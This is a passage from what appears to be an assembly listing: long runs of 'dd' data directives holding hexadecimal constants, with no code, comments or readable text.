8B32BFD2h, 4503A5D1h, 518889C2h, 9DD4E042h dd 6BEA002Eh, 0E323AC2Fh, 0E2580BC5h, 10F71F24h, 853E0378h dd 0B89E3642h, 15B40h, 0C6CE1CCCh, 9845FAADh, 62B7D400h dd 0F1839DDAh, 0F0F6013Dh, 0D25310E4h, 0DBAFD867h, 8382CFA3h dd 20A06841h, 8094DEF4h, 9840E81Ch, 0E0E33E15h, 0DCB700BFh dd 93B42AAh, 0EF04FB50h, 8C252E1Dh, 0F6825080h, 0AFCF00EEh dd 209504AAh, 0BA005FC3h, 603AB6A4h, 0E6DCADEh, 52BDCC0Ch dd 7750212Bh, 9A25CB04h, 2481500Bh, 0C34666C1h, 0B21D0BE8h dd 0E8806927h, 68D280A4h, 30EB11FAh, 0CD76713Ch, 94CBD52Ch dd 0F8625E01h, 0B7CC56DEh, 6B407A3h, 0B00C9ED2h, 89F4306Ah dd 0E0BBE48h, 0E0EF2E9Ah, 0C808EA52h, 224A13C3h, 80E0006Ah dd 93471B17h, 693EE47Dh, 3B5F908Dh, 0F4804D39h, 53166DB0h dd 0F2777711h, 597631EAh, 393DCB00h, 3ACC501Ah, 7BBA0048h dd 996125FFh, 3E000DEDh, 76B4BB7h, 4846D978h, 56245418h dd 260A04C0h, 0E78A335h, 0A1FE8848h, 9F4A2211h, 7CE2820h dd 32197FBEh, 0A33B72DCh, 0E1FBFE43h, 0B0BD20B7h, 11073F14h dd 0FCCE405Ch, 0E503DAB0h, 0ED01EBBh, 3881F9CFh, 0CDE7E9Dh dd 0DF3C84A5h, 74807691h, 5A9862h, 0C7D6740Fh, 0B7FCEFE5h dd 7890AFF8h, 3D580109h, 0F7D012Eh, 2FD0974Bh, 0D4ED5D5Ch dd 14B5DE09h, 4758A060h, 3886F730h, 926E1E7h, 6FC0647Dh dd 0F9B29400h, 84A06AA6h, 3D007217h, 0D6437B27h, 749C5D8h dd 0B7E8B1FDh, 52CBA147h, 3CC4369h, 95E0E9D0h, 1091F080h dd 0F385D3Ah, 80CF3C39h, 45A32A42h, 0FCE70018h, 601975A8h dd 0CD006A0Fh, 0E68956BBh, 0EEA605F1h, 465A00D7h, 0CEB8999Ah dd 0F8E50716h, 0E10835C6h, 13518577h, 0F5709F6h, 49784466h dd 96328B00h, 0E9E7A490h, 7DE8F622h, 45E06Ch, 61636010h dd 2F77E0ADh, 3D0591E6h, 43B23CF4h, 0B3689820h, 4021457Ch dd 74380AB8h, 0C4B5C700h, 3E19FB8Ch, 439C005Fh, 0B0D69024h dd 294BC2E8h, 2803C1E8h, 0CA6646Fh, 3D3494B9h, 5C9E7984h dd 20CA998Bh, 1973F11Ch, 770D0494h, 908ECFD8h, 82989AD8h dd 0B5CC490Bh, 0CD910069h, 6659D5h, 84352963h, 79915A55h dd 871C8800h, 0AAC0BD68h, 1FC092BAh, 169BA109h, 0F1D80163h dd 0D079105Ah, 92009046h, 540D386Eh, 394947C5h, 0B7006B83h dd 86A9281Eh, 80005509h, 9EE025E8h, 0F45C9D2h, 9A8CC381h dd 713D0013h, 43536E40h, 3F0BE3Bh, 0F9D5BA95h, 0A3E0F0C2h dd 68350025h, 3A48298Eh, 19F431C9h, 49D25E00h, 0CD9B5281h dd 21A63E2Ah, 17000B5Ch, 3D938657h, 436F6064h, 2644A01Ch dd 3BA2B8C2h, 2B091EFDh, 0C5580642h, 1D4DE903h, 80551B91h dd 237F89h, 0B34A7698h, 517AC977h, 7DD46800h, 0A08C417Ch dd 11C000A4h, 0FE6386A5h, 0EC50441Eh, 0A603FFF8h, 0AEC5D91Fh dd 3026A801h, 0AA0C00EBh, 8E2C3516h, 4A00B1D5h, 2FD0AB3Fh dd 1C2DC592h, 40F8777Fh, 577B075Ch, 0D71DE87Eh, 0A63FE2A3h dd 7802D8A2h, 2E1952Ch, 36E33F15h, 8458C9AAh, 41F1111Eh dd 84715780h, 28C3C44h, 40086089h, 34EB1FD6h, 0E8FA3AB0h dd 0AE463E00h, 98AFD176h, 74595CB4h, 0B80F784Dh, 29E08971h dd 7256E4D2h, 0F2935107h, 84B0C815h, 9A1BE102h, 0A2BB2500h dd 0AFEFD087h, 80FE3E6Eh, 0A6A8939Eh, 3F01C180h, 0E3D4370h dd 61CCDE67h, 0B49403A4h, 9C21336Ah, 2C2D1B88h, 465FDC1Fh dd 8ED2048Fh, 90950701h, 0D13AB090h, 83BC0F47h, 33008E5Eh dd 1C6AE7B5h, 0E8521300h, 9B8AA963h, 85C947Dh, 0CE85DF81h dd 90418338h, 61DA76DCh, 958824h, 3C469D29h, 3E66BB48h dd 34850E00h, 0B3241439h, 0FE1600BCh, 686AFC7Ah, 1F05220Ch dd 0AA44CB65h, 0E67FF680h, 0C90E0h, 0D3F48755h, 10B4B748h dd 17BB6700h, 1B96DEDDh, 3C7C29h, 0A9669ED1h, 0AF28FB0Fh dd 5FB4171Dh, 310E543h, 0B88DE9D7h, 0A07BC8h, 1BF59211h dd 0A29CC481h, 2F58480Fh, 0FF04C0DEh, 394AC9E8h, 74BF8031h dd 4EB80AF7h, 4E035C0h, 4069CE7Eh, 0D1D9A0BBh, 0E2DB02Eh dd 506DB5Ch, 0B8E8DE00h, 0C803F088h, 73149C66h, 632B882Dh dd 27B500D3h, 6CAD747Ch, 0E300DB10h, 919A1854h, 20435Fh dd 0C88C7DE1h, 283367D1h, 26396EE4h, 0E33DEEh, 3FFCB7CEh dd 79EF1F4Fh, 151400B8h, 93B3C406h, 67002FD9h, 7BFD4837h dd 1C3F05ADh, 0C01168h, 881EC3Ah, 3139BC72h, 9A9100A9h dd 6E718903h, 0F1FF00F0h, 36F39B40h, 39EA7C37h, 299C6900h dd 0E4EC82AAh, 0BDF904B4h, 81F85A41h, 389BCAC4h, 26E907C0h dd 0C0DF2DC9h, 3573643h, 0B4E50045h, 0B299C586h, 8D282E55h dd 0A7058CD7h, 0D2415E05h, 0E2E028B1h, 69D57ED1h, 4CC31047h dd 0EC79A9C0h, 0F4663600h, 8486EF7Ch, 0C00F0EE5h, 9525E4Dh dd 0D4649C90h, 5F0A2C00h, 319AC379h, 8323000Bh, 0F6437EDCh dd 15C44BAh, 400300B5h, 2A79F411h, 0C7F83Ah, 8B4D2D16h dd 4A3729C8h, 3E7429C7h, 0D96AF5D0h, 0BCD8180Bh, 750C1812h dd 1C013577h, 31AD02Fh, 0D2FA6EDEh, 0B8510004h, 983766FAh dd 0A000DF93h, 2B19E5C9h, 4EE382h, 769A0D03h, 5B2DC877h dd 0AD18C07h, 9C90E206h, 5C3E6Dh, 9B47AE2Fh, 0C862E41h dd 5E792A00h, 434D25Bh, 0C07406h, 0CFAB80E0h, 25071F74h dd 1B01EE7Eh, 0CCE9638h, 44CCA91Ch, 97C0060h, 0A59FA6C3h dd 8858A869h, 25B60094h, 0EF5BBFE1h, 3A9A0040h, 97AE0470h dd 0F1073D82h, 53103EE3h, 8B5E0049h, 334BAD0h, 95BE3251h dd 0F9E88DB7h, 0FE2C7DF8h, 0BD0064CAh, 0B31DFA7Ch, 36E40FB4h dd 42E159A4h, 0C48E2722h, 0A62F5543h, 2C9CDEh, 43A2351Fh dd 5C72E2ECh, 1C0F0490h, 32C0EBh, 66B0363Fh, 2A16012Dh dd 8D1DF0B4h, 6FBEF06Dh, 0D79430EDh, 4740B494h, 288B6694h dd 1DB85322h, 804472E9h dd 2468D355h, 0CE002684h, 31306614h, 33F380Ch, 0BD362AC8h dd 680125Bh, 4E002367h, 9B661793h, 0A68709h, 0F551EF42h dd 85E3B515h, 25550601h, 0C2E67110h, 1F83F9E0h, 84F6F493h dd 0C03F517Fh, 1B071740h, 40E8429Dh, 9C2ACCDh, 0FACC06BEh dd 0D0B7A403h, 3FFD57E0h, 5D610A0Eh, 0D19B00A8h, 3EDA81h dd 86346D87h, 0D7E915DBh, 0C7581B00h, 1FBB7C8Ah, 134F002Ah dd 6A30A812h, 5F07601Eh, 664E53C3h, 0DD914060h, 0BCE700F8h dd 0DA06728h, 31003676h, 8FA5F335h, 5E54DCh, 5B062333h dd 4C5F87B4h, 8068043Bh, 0D025D7Bh, 0C0C7FC28h, 0EAF9C4B4h dd 395847B5h, 0C5DA07A3h, 3D5019C9h, 1D50D23h, 89B15B4Ah dd 0CC4F8D18h, 973DE4A2h, 1C3600C0h, 67FE40E8h, 9B64009Fh dd 0C48A29FBh, 0E010C2Bh, 478C1CA4h, 8520B45Fh, 0BE3E0073h dd 5B1B43D4h, 96000F66h, 0B4FFA11Eh, 1DE20114h, 0C082C147h dd 21EDD6F7h, 64008CEAh, 0D3C2F609h, 239D12h, 780C06A8h dd 7D87A083h, 6CC02100h, 0F777451Eh, 891B000Ah, 32654F5Dh dd 14002BADh, 0B7B64BD2h, 6C34A6h, 0B0CF16F1h, 134DFA88h dd 0F005A400h, 21512617h, 0FE6F0064h, 6EA516E9h, 341C475Ah dd 803B549Dh, 0BFA4C00Dh, 1D2E93BBh, 803DC410h, 0F1CBF207h dd 60C7A2A8h, 6D8723B2h, 4488A9E0h, 668D0C0Bh, 6981B6AAh dd 0EB33ED01h, 19DC42ABh, 314845C8h, 1520BE93h, 9EC0F3ACh dd 2920CBB7h, 0A9550017h, 51C26EADh, 0B302A6B2h, 2825D64Dh dd 4A2C8058h, 0FD9671F2h, 16D1096h, 0A4175F91h, 8B418342h dd 0E0FC582Ah, 0A039EAC8h, 0E36E2558h, 0EB0358BCh, 13DC45DBh dd 15EF7801h, 6A7325C9h, 74ED2195h, 4C808F3Ah, 3719EC0Eh dd 2F00A601h, 62976BBFh, 0C75A7h, 7DEE3851h, 3129DF0h dd 0B4ADCA07h, 0B3E0A185h, 3F94E902h, 8780281Dh, 0B5DD4379h dd 560F6B1Ah, 2042A8F9h, 0EA2971ABh, 0CE3A0AA5h, 80E4BF7Eh dd 0F607518Ch, 6C1C089Fh, 0E4C0DFDDh, 5728F2FAh, 0FCD9008Ah dd 9660FD73h, 2A007147h, 876F5D88h, 0F6827709h, 6AF097h dd 0EC5C7D72h, 12C952B8h, 0F8A0F001h, 50EBDE34h, 76C07F0h dd 0DA5B70A6h, 1B636143h, 0C157CCF0h, 3081CA1Eh, 0AC96F780h dd 474A6Dh, 4E59BCFAh, 0BF75018Fh, 0AAC91703h, 0F0C72B73h dd 10E4B72h, 3D1F044h, 4AD4878Eh, 2B80BB04h, 57C3535Fh dd 60009E98h, 3F795585h, 0C08073F2h, 2F2EC628h, 2800EB24h dd 8A922ADCh, 0B67689h, 0B9F2D33Eh, 0C1041F60h, 42398022h dd 0C4B138F0h, 0CD2284ADh, 0B008E73Ch, 84E1B344h, 2225BC22h dd 0C5223318h, 579522B2h, 2227D122h, 7222E0Ch, 886971ACh dd 60893B98h, 0AF447C08h, 0D422845Dh, 2D1422F6h, 3FA9CB10h dd 0B8085121h, 4891F7h, 18A40A87h, 9B77C7h, 294063BEh dd 8E6FB376h, 62C11B00h, 2175CB9Eh, 45E40007h, 68361727h dd 1008A89h, 5473963Ah, 57E94Bh, 0BC90F326h, 2DD2CA32h dd 1700B1E6h, 7AC71296h, 7D584Dh, 0C07F3E43h, 9DEA2A68h dd 0FEBA5D00h, 0DF47AAF2h, 0EE2700FAh, 7ABC9C54h, 741D074Ah dd 45404D91h, 0A5CA34E5h, 0BD470066h, 0A2C512E7h, 440E4388h dd 208FE4F7h, 0B0071BAEh, 1892C3h, 912F669Fh, 607AFB8Ch dd 0F9ACFC00h, 0CF6C7347h, 48C10006h, 6DD43A71h, 0DB3BC657h dd 44E30018h, 93196B3Fh, 2DBC1C26h, 8C47C3CBh, 0E980E088h dd 8104C3FFh, 8905BB01h, 0EBC64C80h, 4DC20046h, 9D2A6995h dd 0A770BA26h, 56940100h, 0D00B305Ch, 4F740059h, 127984BDh dd 0B100235Fh, 4AC9DA06h, 3D3FB71h, 0EE02574Dh, 56F0F53Fh dd 7A7DB230h, 0B60A5200h, 0A54CBCEDh, 0BA728Ch, 3F6DF149h dd 0F0851821h, 13CC041Ch, 22167380h, 12A51B2h, 62CBBC39h dd 0ECA6362Eh, 0C000EE2Ch, 66E07782h, 878563h, 4978EF23h dd 3BF955F6h, 0D428B200h, 6B191D9Bh, 76240089h, 186D5A0Dh dd 95012B72h, 0AC73FF1h, 0F2F0B7C3h, 49300C6h, 14F7A086h dd 0AE03A2DDh, 0FBD4C2D9h, 0BA6399FDh, 3998DE4h, 0FA0A0F33h dd 8C809FBDh, 0EC2C4D4Fh, 0D4007716h, 58806642h, 345D00C1h dd 0D0EA8B25h, 1B0038B0h, 48BE4D85h, 0EC7BD235h, 0E7787Ch dd 0B552C15h, 0B0DDC2A7h, 0B1EB9A00h, 778AC6F0h, 0E20900DBh dd 0DDF39E3h, 0EF141E74h, 1CCA568h, 0E5263773h, 91E832CDh dd 567B1265h, 410C00CAh, 3C6F9F18h, 0A1010C79h, 883BEF70h dd 8BD9048Dh, 5A002C22h, 31FB506Eh, 0CA0301B8h, 0E54BFFE7h dd 0FEAB9039h, 0A49F014Dh, 2285B53Eh, 464C20D6h, 0AE48DD00h dd 5133BEAAh, 0CA362486h, 0AC803F20h, 0D92018CCh, 0B290F805h dd 7661C62Dh, 0F02B00E7h, 1ECEF648h, 7ABA5E00h, 2FD95F9Ch dd 33DE471h, 9448DE2Ah, 89F019D2h, 7E00C10Dh, 62EB77E3h dd 7B25B0Fh, 0C22A98A9h, 0FD4C7306h, 705EC3B9h, 673A197Ch dd 7953017Dh, 0F8407AABh, 1C46C887h, 99AC002Dh, 0A2077C8Ch dd 8279DC0Fh, 4EC03C14h, 0F717FCCh, 61FED35Fh, 17DA3680h dd 0F3514F01h, 0B3F0CCFCh, 29FF6E00h, 0E97CA6E6h, 97B00B6h dd 504E364Dh, 0B301E854h, 70866424h, 0B0C02803h, 0C4E900A2h dd 0C812F37Ah, 40F954A1h, 0EA0DFAA0h, 94AF5800h, 0E62184B2h dd 34CF67Bh, 0BEA3C750h, 55E85DDAh, 0AEFE40AFh, 90D0A400h dd 819B7E27h, 71CB0EE0h, 8EE0C7EFh, 368F8D3Ah, 0B05CF600h dd 0B24C6692h, 0A40F0E6Eh, 0D8A004F2h, 71E5B735h, 0D059000h dd 94D350C6h, 9161016Fh, 36471523h, 5E1C20C9h, 7AA6BB03h dd 0B848C6E1h, 1C65A221h, 0BF37D3h, 91355F2Dh, 0DCF8239Fh dd 7F00B5FAh, 12053DC8h, 3E3CAE8h, 0FE584B06h, 11904A32h dd 0DB000B21h, 64F9C63Ah, 191EBBh, 3190738Ch, 0D7E5F717h dd 0A2024090h, 5AD35EA5h, 134F00E0h, 59B0CFD5h, 3BB5F30Bh dd 0B2A4204Ch, 163A5h, 0FAF631FDh, 0C532FB56h, 7C18DE00h dd 3ABE60F5h, 0EC60046h, 0FA26D424h, 75003D9Fh, 2C73CE52h dd 0EDEE36h, 7816775Ch, 84C57186h, 1C416509h, 60E40E8Dh dd 35732D23h, 0BA52003Fh, 7693C828h, 3000806Ah, 0BC2B37D0h dd 138E5B69h, 2ED6E2h, 31919AFCh, 0BBFDF74Eh, 39550060h dd 8774B045h, 40BBE465h, 0FD18C78Eh, 0BCD02D28h, 0C10B80B8h dd 5926A577h, 3800108Ah, 0B71D0C5Eh, 0D0DC0057h, 0D475AD81h dd 6500B9BBh, 701116FBh, 767A68Ah, 455E2928h, 0ACAE00EAh dd 5C00F751h, 582B0CE9h, 1D1ED54h, 0BC4BADDAh, 0F0015B67h dd 33008AB0h, 0E873B5EAh, 13D159BFh, 13DFAFh, 37AD59Ah dd 2501F58Bh, 523435B1h, 77E43171h, 8D370551h, 16CF743h dd 0C960B284h, 632EF4E7h, 33A2B600h, 15AB2056h, 0FE543EEFh dd 67842C00h, 0DCB341EAh, 2F3A1C26h, 2ADA220Eh, 0EE00842Fh dd 0E9EC9D9Ah, 3B48074Fh, 0C40F668Fh, 2CCCD0FFh, 6076B75h dd 0D28AF5D3h, 0C31A3950h, 27FE0294h, 0B75B2A34h, 4943B068h dd 2F673112h, 0A1048C0Eh, 4171D09Dh, 0E1C0B089h, 8D6E4400h dd 0CD1E50F5h, 13009079h, 0D2712208h, 6B241D3Ah, 658200CBh dd 0F989C9C5h, 2CF0E900h, 16B7B518h, 0A2A80299h, 0AE2FF8CCh dd 0A52E605Dh, 0B05F09CDh, 0A801CB01h, 0EC53EAA4h, 6D395BD6h dd 9355003Dh, 24153391h, 0CDE8A1EFh, 4C358ECCh, 6C00F45Eh dd 664542E5h, 0F403A8BCh, 3778A0AFh, 97D28859h, 2A10387Ch dd 81F6C41Fh, 0F84232CFh, 0FC7AC4BFh, 0BD90B8F0h, 1D735D00h dd 8DB61F21h, 79A80020h dd 9C97EB3Eh, 0FD043C8Fh, 0D6077B96h, 4A6E4880h, 0B1741F2Bh dd 0C21AC172h, 0CCD48D69h, 6790F38Ah, 0E1422028h, 929CBA03h dd 0F06C913Ah, 0C6DD4Fh, 0CE6E1D16h, 0B3C32903h, 0C9D840Bh dd 0B6A48183h, 70205089h, 749F0A81h, 0B8F685h, 92B3780Bh dd 709D6691h, 0D54D05BDh, 0CC8160F8h, 72018004h, 0BFAF436Fh dd 0A9C86ACBh, 5174003Eh, 25A8A60Bh, 0B00090ADh, 0CEC08B73h dd 3A6BD239h, 0A6AE9DCCh, 2BE60048h, 6E024969h, 0C508EC00h dd 0EDAE013h, 0A3BC0029h, 0CA6939DDh, 0E400155Fh, 641797A9h dd 7CD582h, 0F2C567EEh, 2EE0CD9Fh, 4800C97Bh, 50B9F762h dd 844111h, 0CA3339F0h, 5A3D17CBh, 8CF48300h, 0A91B2745h dd 0BC21031Eh, 886C8AB1h, 0FC9C61A9h, 0FA00EEC9h, 3EB9181Fh dd 18F3662h, 20D8BD10h, 0EC1A41F9h, 0EA3BD1DAh, 0F17A80FAh dd 6EA9710Ah, 692400CBh, 322AFBEDh, 0C701758Eh, 0FC1FD66Bh dd 0E430B63Bh, 123503F8h, 17D5F5AEh, 72886B83h, 7DF67C2Eh dd 0D6718B01h, 0FD5383CFh, 756630h, 94D9436Eh, 0D472C3C5h dd 22A34000h, 0F99F5814h, 0CCE4A09Ch, 4FD0012h, 6CA45571h dd 8A001A6Ah, 57CB8BE7h, 7CC32820h, 7167B99h, 127EBC8Fh dd 80D52480h, 18D99E30h, 0C2E2441Fh, 0F4C0EA9Fh, 0DA59220Dh dd 12ECE663h, 973AEh, 0EBC2938Ch, 7A0E1C01h, 40F60DB8h dd 0B37E5ACEh, 0CEA7F98h, 80E78D55h, 0D90BA698h, 8026EF68h dd 33484268h, 0A7F40F07h, 254234D4h, 4C6043E1h, 8E1E724Fh dd 0B74067C2h, 95583F38h, 957172AAh, 57011370h, 0DC741702h dd 0CE4CED5h, 0D8D04DC9h, 0D2FD080Eh, 5CA3831h, 0FCEA6D7Fh dd 0C9BE50C0h, 6A36009Eh, 5654DA04h, 3D3B58E2h, 75FF009Ch dd 0BDD4288Dh, 0FBDE007Bh, 0A90D1017h, 120FC3F9h, 47933E25h dd 0B9502311h, 7950974h, 0A3E42A6Eh, 59ED608Ah, 8900A69Ah dd 1D5F6DB4h, 7C2BD10Eh, 1CE500BEh, 116DD78h, 4C00FB9Bh dd 0AF14B7E6h, 0F7CB80h, 0AA85F294h, 1B2E6CE9h, 9122BD01h dd 2793374Dh, 0C0E63220h, 7D38EE0h, 0C00E233Eh, 202EB58Bh dd 5C8F1282h, 58260B21h, 8380D0C7h, 0B0E8048h, 0FDB05900h dd 0E7A9ABB5h, 40F900FFh, 6F4BCF50h, 0E8FA3DD6h, 3796898h dd 0EA4CDE00h, 9499C92h, 27130073h, 93BFF581h, 8E00332Ah dd 7C348F31h, 0D899B9h, 712489C0h, 64B2F2A7h, 0F6510802h dd 602A96EEh, 3FA957E8h, 3E002E05h, 814F5AAFh, 0BF1D8BD7h dd 0EE8068A5h, 5B6005B7h, 0A109003Ah, 0CEBAB1F1h, 681EBB3Eh dd 7DAC82C7h, 2265600h, 16EC0EEh, 910E1C4Bh, 30A8AE0Dh dd 0A1288DACh, 0A704A1B1h, 0D02FD215h, 0AD5A0081h, 98345064h dd 8301001Bh, 712BF5DBh, 9E000227h, 0B5923865h, 3C52048h dd 3731848Ah, 0A1D85999h, 51002B3Eh, 0EEFAB90Fh, 60AFAD35h dd 9B90D832h, 0BB7BED06h, 7DF8C500h, 0ABDC022h, 3BBD9841h dd 47000FDAh, 1BBC20C4h, 0E500071Ch, 2CDB80D6h, 4810A430h dd 94008CBEh, 4F2A62A5h, 9C09411Fh, 15BD7AAh, 2E5330D4h dd 780D1DCh, 0AD0527BCh, 7A00780Bh, 0BD703F46h, 77B876h dd 0D0E17DDAh, 75062765h, 964CB800h, 98A683A3h, 0B4FE13F6h dd 0E1200228h, 48E432C2h, 0AFB73C01h, 86D8E990h, 0D5AA9080h dd 4C6EEC35h, 5D06E47Dh, 0ACC40CBAh, 1C750032h, 0B0683412h dd 0F75DD417h, 497705B0h, 70883E64h, 0DCCB070Eh, 0E0F5E09Bh dd 0A6E3180Dh, 0B6851E03h, 0F83A9522h, 22E485Ah, 9BA1FC06h dd 0DD602D7Bh, 6C284160h, 0BC00BE5Eh, 0D5BEB02Ch, 12DE6A1Fh dd 42052A4h, 43BBE3F8h, 0A4CAFCEEh, 4E0B749h, 23000914h dd 0C65902C2h, 0B2EC3F29h, 7D041FF4h, 7F381F12h, 0DFC9AC0Bh dd 3D24740Eh, 7D018087h, 0AA77EB68h, 7FC0CB00h, 0EE5DB3C8h dd 7839007Eh, 3BE6B4C7h, 5A005728h, 21419ED7h, 0D46437h dd 0B4B990F6h, 38042A88h, 445D7200h, 81F23DDAh, 6C030C55h dd 2D88D669h, 159F1C00h, 8D4D26DCh, 2ABE00FAh, 880BDBC2h dd 6F0028A1h, 0CE4E63D7h, 1C49CA35h, 38A4760h, 71A33686h dd 133AAB8h, 0DD7284A0h, 0B5E85400h, 0D314480Eh, 0C8990155h dd 6D3E3F7Dh, 1B5D70B0h, 0D4ED8873h, 0E6E0CCB6h, 0C5395B07h dd 0E3D0692Ah, 48FF5FEh, 0BE178E7h, 0C2088087h, 0B4501CBDh dd 0EC0064ACh, 0F7F25912h, 1A9D39Ch, 0B3B783D7h, 0FE2D4503h dd 0D5AFE060h, 54E82000h, 7A385176h, 7F5800D3h, 0E6423BF3h dd 0A503ED3Eh, 0F0319717h, 3D9CB05Fh, 0C72B139Dh, 0BEA8C022h dd 0C4093E15h, 4D0455h, 0C5F9F0FCh, 0FC050A4Ch, 61F8D14Bh dd 6B431B16h, 803BB0h, 0E063A296h, 40C536F0h, 84F5E712h dd 0F1BE1000h, 14BAEDDh, 37D5E6C3h, 0FC230801h, 50B8C664h dd 0FD0496FCh, 0D8A0759h, 0ACDA26C0h, 68C917E0h, 0A585002Dh dd 5A6404Ch, 11465809h, 0BAF0003Fh, 96225E70h, 243D70D0h dd 709FD2F8h, 0FC38F965h, 74573600h, 6485A567h, 8898C22Ch dd 7978B000h, 1F63D3A9h, 6770B1C4h, 5B035881h, 0EE61A2h dd 3D76CD90h, 0D5189963h, 83C9D13Fh, 4A064h, 0F51B57B7h dd 409FA3A1h, 318ABB00h, 537FCAADh, 0DEF900F8h, 0A1851F28h dd 46004D5Bh, 6B39B78Eh, 1170D6Fh, 50A81398h, 0FC2E381Fh dd 3C00CB57h, 0D6C5BADh, 93FF296h, 0DD682AC3h, 0F5B134E0h dd 0A75AC71Ch, 5E675000h, 77E60Eh, 0E4EEF899h, 0DB3E434Ch dd 0AAA23C00h, 0F772F062h, 3FB6168Bh, 0A060402Ch, 76FB2A2Dh dd 0E26E8900h, 6F1C5CF7h, 0BBEB00E5h, 0D987EDB5h, 66007384h dd 91576DD7h, 0CD4183Ah, 718CF7F0h, 0ED40D138h, 0E0AD004Ch dd 778F81CAh, 300DE98h, 733D7895h, 90EBC519h, 0D0A930D5h dd 0C71D5630h, 0D892A800h, 0B6349F47h, 5558489Bh, 5BFCCF00h dd 2FFE5C6Dh, 0C441365Ah, 2712D23h, 1C34E7F4h, 55BCA963h dd 8301F013h, 38D0656Eh, 72B3C060h, 110B8F00h, 0D9314E0Dh dd 0BDC10113h, 165AF5A2h, 0D8A02B7Fh, 50CF0024h, 54137D8Fh dd 220381A1h, 5E641DA3h, 0C7D880F3h, 80F800BFh, 6D9F4E10h dd 8A00C16Fh, 81DEB785h, 4BD9BF9h, 2C8C1C5Ah, 8B17834Eh dd 0AFAAB000h, 247FC202h, 0CDA9079Ch, 6B673093h, 0D0804092h dd 1E850A87h, 7D8A0C00h, 0CE593ECFh, 4C71B8EDh, 6900FF62h dd 29CC136Eh, 1CB88CE5h, 0CADFA70Bh, 6F80685Fh, 0B89F0028h dd 0DE8DA06Dh, 0F200C544h, 13714070h, 1DBC2F32h, 403A6129h dd 2AE812Eh, 88A15711h, 22ABF4D1h, 940105EAh, 38859AE3h dd 0B4209058h, 0ACC318F8h, 0DF0A699h, 70A12200h, 0DC49C5DDh dd 0EA7C6Ch, 281EE6BFh, 0AD0DF320h, 3219E400h, 4C558333h dd 0FE4400BBh, 0ACD83C07h, 54EC5C5Ah, 30AA7900h, 372F4D0Fh dd 0E4A703F4h, 0F8E822F2h, 6B6A33E0h, 1FEB7400h, 9924A9DFh dd 3BE926ECh, 9FB3004Ch, 3A36467Ch, 0FC10D5h, 9DCD43D9h dd 9089E8B9h, 6BB300FEh, 0BA8C47AAh, 0B2793D3Eh, 4DF71000h dd 5AF988EAh, 0C22B0E51h, 9F6E5E73h, 0CBFE3A60h, 0FC27598Eh dd 0C6A887D7h, 904DB3F3h, 3952FFEDh, 0C580CAB9h, 0F89A1F6Ah dd 0EA0204BDh, 7ED8107Dh, 0A84B40A6h, 68F23C64h, 48838080h dd 0E9163167h, 0F743E209h, 60B40FD7h, 0B747CEFDh, 5215012Bh dd 0D582A151h, 73007091h, 4A147700h, 801F2044h, 64D6001Ah dd 0E6BDAE9Ah, 14BA5DDAh, 0DB29CB00h, 7A7FE7D8h, 702B27E5h dd 8B1B880h, 0C7FE650Dh, 3CF91080h, 4E20F8F4h, 89542E10h dd 0EB312A00h, 0B3835BC9h dd 0DC95252Ch, 67DBF784h, 80CFA8C2h, 3BF51494h, 1E031D31h dd 0EECC8032h, 52D8FCF7h, 0C3CA2D00h, 51E823AFh, 0FACE00CDh dd 0EC8AD739h, 0A00E829Ch, 56E3B5F3h, 915A244Bh, 6862C71Ch dd 6021F072h, 1827D894h, 69000537h, 45D75707h, 0E4D528h dd 22C65F4Fh, 67560D0Eh, 663C1476h, 8A638198h, 0A32B13CFh dd 0F2F5E0h, 0D2991E97h, 80310EAEh, 1445C003h, 80CDEDA8h dd 5283FE8h, 0C39A62A0h, 98BB9050h, 2AE8A7D6h, 102F461Eh dd 0E6A4AC00h, 0F404F35h, 382C70A3h, 0E436BE0h, 251CDEA2h dd 80FFEBB5h, 58D8B713h, 1D60AE50h, 0BBC64E32h, 31A26C80h dd 4BEBDD0h, 2AC2E107h, 99000B4Dh, 1D4DD40h, 0A4EE0A97h dd 0C880136Ch, 0D5004253h, 6301AD33h, 0B13017h, 0E18C62B6h dd 575A8437h, 24897300h, 0BAAC7858h, 0ABF402EFh, 1B3D03CEh dd 0E94E9840h, 2B4B7600h, 15A30C51h, 0B0C6037Eh, 8F7D82BFh dd 1B9FDBA8h, 0A6A81450h, 55946100h, 4144DA90h, 0BAEC60DCh dd 4918BD3Dh, 7FF1AC00h, 0A04D948Dh, 0B7E00B3h, 0F30AB8CCh dd 8B00FE97h, 0A35A9D2Ch, 17E24Eh, 23104CDFh, 68C33D1Ch dd 60247800h, 2F0A4683h, 6E160374h, 65CBB907h, 451E6AC0h dd 96516B1Dh, 271F5C00h, 3F160453h, 0DE805049h, 5B081B7Ah dd 853D3309h, 0A63E9EAEh, 219D2080h, 284CB9h, 0F612D676h dd 38D7FD97h, 26697707h, 1BB01372h, 4956D0h, 4C81A5E1h dd 0C7D9860Fh, 0B2176B00h, 38F011C1h, 6739026Eh, 181E7548h dd 372049C0h, 84A085EAh, 0CF0BF291h, 260276h, 0B298DEBAh dd 0E1D90344h, 1E92A607h, 79EA5CD0h, 69D5E8EDh, 1A51A901h dd 0E89FB5E2h, 5284F0h, 5668166Ch, 0C47DBFBBh, 89A84900h dd 9ED9D0FBh, 0C27EBDh, 87126DAFh, 3D6B587Dh, 0BB54010Fh dd 9DC39E8Fh, 0E8F6A4D4h, 0B3D2DBh, 8BEA49DFh, 0F81E6F47h dd 8218317h, 795C7700h, 1C953B23h, 40DD9B3Ah, 72B54567h dd 0B2001854h, 3AF4890h, 0E4DBE3D9h, 0E0E5000Bh, 6FF5C459h dd 2E008FA4h, 0DD41D7C6h, 26BFB0Dh, 8CAF689Fh, 1C4031BEh dd 0F8070B76h, 0DB1D4C23h, 0F89E6733h, 0BEC77Fh, 0CF16EBFFh dd 3F147533h, 4BE0E47Bh, 0FE62CD07h, 9360B272h, 0E41BAF3h dd 2276708Dh, 611A0C3h, 0A4497FF8h, 4D302B00h, 58993887h dd 0A2330023h, 1E5FF090h, 2D008211h, 120FDBB6h, 73D66041h dd 813801FFh, 557EFBD4h, 166320BDh, 802FE43Fh, 0BA4F0ADFh dd 0EC53C849h, 427197h, 8AFA72A0h, 0ADC556DAh, 4EE9E50Fh dd 588E0CBh, 707DDC91h, 0CDFC035Ah, 6FA2D223h, 0DDC24EF0h dd 0AB33D3A0h, 0D1038AFAh, 5B2AFAC7h, 756BB90h, 32694978h dd 19884C12h, 0A4625C02h, 867CA525h, 48183198h, 0C4068AF9h dd 1052D2D4h, 7A004778h, 0BDF59043h, 0DFAECEh, 6FEF441Ah dd 2AF6EB9Bh, 0DA775704h, 94906B8Eh, 1A52DBBh, 4A326AD3h dd 0D2F5E678h, 0BECA80A0h, 1B038740h, 0A50DCDA8h, 0D3DFC86Ah 